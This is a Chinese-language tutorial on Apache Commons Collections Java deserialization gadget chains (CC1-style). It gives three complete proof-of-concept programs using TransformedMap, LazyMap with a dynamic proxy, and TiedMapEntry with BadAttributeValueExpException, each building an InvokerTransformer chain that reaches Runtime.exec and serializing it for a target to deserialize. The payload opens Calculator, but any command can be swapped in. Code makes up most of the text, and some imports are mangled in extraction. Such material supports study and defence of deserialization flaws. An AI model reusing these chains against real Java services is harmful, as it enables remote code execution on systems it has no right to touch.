import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.Action; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.Arrays; import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
  2. System.out.println(String.class.isInstance(""));
  3. // 利用链
  4. Transformer[] transformers = new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  7. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  8. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  9. };
  10. Transformer transformerChain = new ChainedTransformer(transformers);
  11. Map innerMap = new HashMap();
  12. innerMap.put("input", 1);
  13. Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
  14. // 构建对象
  15. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  16. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  17. constructor.setAccessible(true);
  18. Object o = constructor.newInstance(Action.class, outerMap);
  19. // 序列化
  20. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  21. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  22. objectOutputStream.writeObject(o);
  23. objectOutputStream.close();
  24. System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
  25. // 反序列化
  26. ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
  27. objectInputStream.readObject();
  28. }

}

  1. #### 整体思路
  2. 我们构造恶意的`AnnotationInvocationHandler`类,将该类的成员变量`memberValues`赋值为我们精心构造的**`TransformedMap`**对象,并将`AnnotationInvocationHandler`类进行序列化,然后交给目标JAVA WEB应用进行反序列化。在进行反序列化时,会执行`readObject()`方法,该方法会对成员变量**`TransformedMap`**的`Value`值进行修改,该修改触发了`TransformedMap`实例化时传入的参数`InvokerTransformer``transform()`方法,`InvokerTransformer.transform()`方法通过反射链调用`Runtime.getRuntime.exec(“xx”)`函数来执行系统命令。
  3. ### 使用LazyMap利用链
  4. #### 介绍
  5. `LazyMap``TransformedMap`类似,都继承 `AbstractMapDecorator`。<br />![image-20210803155104437](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987802981-17a10780-2ffa-495b-b757-cf0073498f60.png)<br />而`TransformedMap`是在写入元素的时候执行`transform`方法,`LazyMap`是在其`get`方法中执行的 `this.factory.transform`。<br />`LazyMap`的作用是“懒加载”,在get找不到值的时候,它会调用 `this.factory.transform` 方法去获取一个值

public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }

  1. `this.factory`也是我们可以控制的,在构造函数中。

protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException(“Factory must not be null”); } else { this.factory = factory; } }

  1. 所以构造poc的时候只要令`factory`为精心构造的`ChainedTransformer`就行,因此我们找一下哪里可能调用了`LazyMap``get`方法。<br />但是我们在`AnnotationInvocationHandler#readObject`函数中并没有看到有执行`get方法`,所以ysoserial找到了另一条路,`AnnotationInvocationHandler`类的`invoke方法`有调用到`get`:<br />![image-20210803160149440](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987804918-ad50d440-d8df-4bbb-b77a-76f069edef13.png)<br />`AnnotationInvocationHandler#invoke`看到`invoke`方向就大概联想到Java的动态代理机制。
  2. #### 动态代理复习
  3. > 总结为一句话就是,被动态代理的对象调用任意方法都会通过对应的InvocationHandlerinvoke方法触发
  4. ---
  5. 这里再举个例子说明一下如何自动调用的`invoke`方法
  6. > InvocationHandlerExample.class
  7. `InvocationHandlerExample类`继承了`InvocationHandler`,实现了`invoke`方法,作用是在监控到调用的方法名是get的时候,返回一个特殊字符串 Hacked Object

package org.example;

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map;

public class InvocationHandlerExample implements InvocationHandler { protected Map map;

  1. public InvocationHandlerExample(Map map){
  2. this.map = map;
  3. }
  4. @Override
  5. public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
  6. if (method.getName().compareTo("get") == 0){
  7. System.out.println("HOOK Method: " + method.getName());
  8. return "Hacked Object";
  9. }
  10. return method.invoke(this.map, args);
  11. }

}

  1. > App.class
  2. App类中调用这个`InvocationHandlerExample`

package org.example;

import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) {
  2. InvocationHandler handler = new InvocationHandlerExample(new HashMap()); // 代理类的逻辑
  3. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
  4. proxyMap.put("1", "2");
  5. System.out.println(proxyMap.get("1"));
  6. }

}

  1. ![image-20210803165919351](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987808108-fad333c0-1a76-4437-afe7-89d5c61cba9c.png)<br />可以看到调用的`get`方法,但是被我们动态代理中的`invoke`方法拦截了,返回了`Hacked Object`<br />也就是说这个Map对象经过动态代理处理之后,**动态代理对象调用任何一个方法时会调用`handler`中的`invoke`方法**。
  2. ---
  3. 我们回看`sun.reflect.annotation.AnnotationInvocationHandler`,会发现实际上这个类实际就是一个`InvocationHandler`,我们如果将这个对象用Proxy进行代理,那么在`readObject`的时候,只要调用任意方法,就会进入到`AnnotationInvocationHandler#invoke`方法中,进而触发我们的`LazyMap#get`。<br />![image-20210803170250433](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987810618-a268398e-b2c7-4069-bb5c-65744e00e7e0.png)<br />所以我们只要创建一个`LazyMap`的动态代理,然后再用动态代理调用`LazyMap`的某个方法就行了,但是为了反序列化的时候自动触发,我们应该找的是某个重写了`readObject`方法的类,这个类的`readObject`方法中可以通过动态代理调用`LazyMap`的某个方法,其实这和直接调用`LazyMap`某个方法需要满足的条件几乎是一样的,因为某个类的动态代理与它本身实现了同一个接口。而我们通过分析`TransformedMap`利用链的时候,已经知道了**在`AnnotationInvocationHandler`的`readObject`方法中会调用某个`Map`类型对象的`entrySet()`方法,而`LazyMap`以及他的动态代理都是`Map`类型**,所以,一条利用链就这么出来了
  4. #### 构建POC
  5. `sun.reflect.annotation.AnnotationInvocationHandler`对象进行Proxy

// 构建对象 Class cls = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 创建LazyMap的handler实例 InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap); // 创建LazyMap的动态代理实例 Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); // 动态代理对象,执行任意方法,都会到invoke中去

  1. 代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 `sun.reflect.annotation.AnnotationInvocationHandler#readObject`,所以我们还需要再用`AnnotationInvocationHandler`对这个proxyMap进行包裹(我们需要的是`AnnotationInvocationHandler`这个类的对象)

// 创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理赋值给this.memberValues handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); // readObject的时候主动调用proxyMap的方法进入到invoke中

  1. #### 完整POC

package org.example;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;

import javax.xml.ws.Action; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
  2. System.out.println(String.class.isInstance(""));
  3. // 利用链
  4. Transformer[] transformers = new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  7. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  8. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  9. };
  10. Transformer transformerChain = new ChainedTransformer(transformers);
  11. Map innerMap = new HashMap();
  12. innerMap.put("input", 1);
  13. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  14. // 构建对象
  15. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  16. Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
  17. constructor.setAccessible(true);
  18. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Action.class, outerMap);
  19. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler); // 代理对象
  20. handler = (InvocationHandler) constructor.newInstance(Action.class, proxyMap); // 包裹
  21. // 序列化
  22. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  23. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  24. objectOutputStream.writeObject(handler);
  25. objectOutputStream.close();
  26. System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
  27. // 反序列化
  28. ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
  29. objectInputStream.readObject();
  30. }

}

  1. ![image-20210803171804619](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987812797-3b596129-1256-4fdb-b931-0ab5e5f00481.png)
  2. #### LazyMap利用链补充
  3. 上面的利用链受限于jdk1.7版本,我们来看一看另外一种利用方式,这条利用链不是用动态代理的方式触发了<br />从上一条利用链我们已经知道`LazyMap`类的`get方法`中调用了`transform`方法,那么除了`AnnotationInvocationHandler``invoke`方法中调用了get方法外,还有没有其他的地方也调用了get方法呢?当然有,`TiedMapEntry`类的`getValue`方法也调用了`get方法`<br />![image-20210805154602919](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987815492-951f9a60-f29b-4be0-809d-e2db6f7f12e6.png)<br />而且`this.map`我们也可以控制,但是我们最终要找的还是`readObject方法`中的触发点,所以继续网上找,看看哪里调用了`TiedMapEntry`的`getValue`方法,找到`TiedMapEntry`类的`toString`方法:

public String toString() { return this.getKey() + “=” + this.getValue(); }

  1. `toString方法`在进行字符串拼接或者手动把某个类转换为字符串的时候会被调用,所以,现在我们找找**把`TiedMapEntry`的对象当做字符串处理的地方**,找到了`BadAttributeValueExpException``readObject`方法中有相关调用:<br />![image-20210805155221856](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646987817859-d379dbd9-6194-4e22-8018-726a193a4664.png)<br />可以看到第三个if分支里调用了`valObj.toString()`,而`valObj=gf.get("val", null)`,这里其实就是读取传过来对象的`val`属性值,所以,**只要我们控制`BadAttributeValueExpException`对象的`val属性`的值为我们精心构造的`TiedMapEntry`对象就行**。所以,就有了下面的poc:

package org.example;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException; import javax.xml.ws.Action; import java.io.; import java.lang.reflect.; import java.util.Arrays; import java.util.HashMap; import java.util.Map;

public class App {

  1. public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
  2. System.out.println(String.class.isInstance(""));
  3. // 利用链
  4. Transformer[] transformers = new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
  7. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
  8. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -na Calculator"})
  9. };
  10. Transformer transformerChain = new ChainedTransformer(transformers);
  11. Map innerMap = new HashMap();
  12. innerMap.put("123", 1);
  13. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  14. // 将lazyMap封装到TiedMapEntry中
  15. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "456");
  16. // 通过反射给badAttributeValueExpException的val属性赋值
  17. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  18. Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
  19. val.setAccessible(true);
  20. val.set(badAttributeValueExpException, tiedMapEntry);
  21. // 序列化
  22. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  23. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  24. objectOutputStream.writeObject(badAttributeValueExpException);
  25. objectOutputStream.close();
  26. System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
  27. // 模拟目标进行反序列化
  28. ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
  29. objectInputStream.readObject();
  30. }

}

``` image-20210805173302511

参考